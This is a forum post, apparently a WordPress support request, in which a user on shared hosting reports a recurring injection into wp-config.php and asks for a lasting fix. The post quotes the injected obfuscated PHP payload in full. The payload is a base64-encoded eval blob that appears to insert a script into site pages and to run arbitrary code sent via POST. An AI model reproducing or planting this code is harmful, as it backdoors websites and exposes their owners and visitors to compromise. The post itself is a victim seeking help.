Same thing happened to me twice in the last week. Both times the following was added to wp-config.php :
<?php eval(base64_decode('aWYoIWlzc2V0KCRnYmExKSl7ZnVuY3Rpb24gZ2JhKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKHByZWdfbWF0Y2goJyMgd2lkdGhccyo9XHMqW1wnIl0/MCpbMDFdW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMM05wWjJNdVpXUjFMMmxuTDAxQ1FWOURiMjF3YkdGcGJtTmxYM0psY0c5eWRDNXRlVjlrYjJNdWNHaHdJRDQ4TDNOamNtbHdkRDQ9JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcyk7ZWxzZWlmKHN0cnBvcygkcywnLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiBnYmEyKCRhLCRiLCRjLCRkKXtnbG9iYWwgJGdiYTE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJGdiYTEpKWNhbGxfdXNlcl9mdW5jKCRnYmExLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpIGFzICR2KWlmKCgkYT0kdlsnbmFtZSddKT09J2diYScpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSAkc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdnYmEnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kZ2JhbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignZ2JhMicpKSE9J2diYTInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>
which gave the error:
Fatal error: Cannot redeclare gba() (previously declared in /home/blablabla/index.php(1) : eval()’d code:1) in /home/blablabla/wp-settings.php(1) : eval()’d code on line 1
It was a fresh install of 2.8.4. Overwriting all the files with a new download of 2.8.4 and removing that injection code from wp-config sorted it out. But it appears to only be a temporary fix.
Does anyone know how to fix it for good?
I’m on shared hosting.
Thanks!